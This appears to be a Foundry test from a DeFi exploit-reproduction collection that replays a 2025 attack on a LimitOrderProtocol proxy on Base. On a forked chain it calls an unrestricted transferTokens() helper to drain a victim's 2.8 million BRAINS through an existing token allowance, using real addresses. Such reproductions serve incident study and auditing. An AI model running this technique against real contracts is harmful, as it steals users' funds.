src/test/2025-02/LimitOrderProtocol_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 2,800,000 BRAINS
8// Attacker : 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A
9// Attack Contract : 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE7
10// Vulnerable Contract : 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e
11// Attack Tx : https://basescan.org/tx/0xf16c30f57d6f47d68fe8ee6ed1986ed9c0d837b00750daef9c742c395b55d564
12//
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xce8d7cd4ddb3fd50baae0cc59dbfd786a7f0e44e#code
15// Proxy Contract Code : https://basescan.org/address/0xb5486f71c902fe0844bb07221fa8f47834d90b1b#code
16//
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/447
19//
20// The LimitOrderProtocol proxy pointed to an implementation with an unrestricted
21// transferTokens() helper. The attacker used the victim's existing BRAINS allowance to
22// move the victim's full BRAINS balance to the attacker.
23 
24address constant ATTACKER = 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A;
25address constant ATTACK_CONTRACT = 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE7;
26address constant LIMIT_ORDER_PROXY = 0xb5486f71C902fe0844Bb07221Fa8f47834d90B1b;
27address constant VULNERABLE_IMPLEMENTATION = 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e;
28address constant VICTIM = 0xcaF77DeCE27195CEB627feb5b588109b91ae6579;
29address constant BRAINS_TOKEN = 0xF25B7DD973e30Dcf219fbED7bD336b9ab5A05DD9;
30 
31interface ILimitOrderProtocol {
32    function transferTokens(address token, address from, address to, uint256 amount) external;
33}
34 
35contract ContractTest is BaseTestWithBalanceLog {
36    ILimitOrderProtocol private constant limitOrderProxy = ILimitOrderProtocol(LIMIT_ORDER_PROXY);
37    IERC20 private constant brains = IERC20(BRAINS_TOKEN);
38 
39    function setUp() public {
40        uint256 forkBlock = 26_231_299;
41        vm.createSelectFork("base", forkBlock);
42 
43        fundingToken = BRAINS_TOKEN;
44        attacker = ATTACKER;
45        vm.label(ATTACKER, "Attacker");
46        vm.label(ATTACK_CONTRACT, "Attack Contract");
47        vm.label(LIMIT_ORDER_PROXY, "LimitOrderProtocol Proxy");
48        vm.label(VULNERABLE_IMPLEMENTATION, "Vulnerable Implementation");
49        vm.label(VICTIM, "Victim");
50        vm.label(BRAINS_TOKEN, "BRAINS");
51    }
52 
53    function testExploit() public balanceLog {
54        uint256 victimBalance = brains.balanceOf(VICTIM);
55        uint256 attackerBalanceBefore = brains.balanceOf(ATTACKER);
56        uint256 allowanceBefore = brains.allowance(VICTIM, LIMIT_ORDER_PROXY);
57 
58        assertEq(victimBalance, 2_800_000 ether);
59        assertEq(attackerBalanceBefore, 0);
60        assertGe(allowanceBefore, victimBalance);
61 
62        // step 1: use the unrestricted helper to spend the victim's existing proxy allowance.
63        vm.prank(ATTACKER);
64        limitOrderProxy.transferTokens(BRAINS_TOKEN, VICTIM, ATTACKER, victimBalance);
65 
66        // step 2: prove the same asset movement shown by the attack receipt.
67        assertEq(brains.balanceOf(VICTIM), 0);
68        assertEq(brains.balanceOf(ATTACKER) - attackerBalanceBefore, victimBalance);
69    }
70}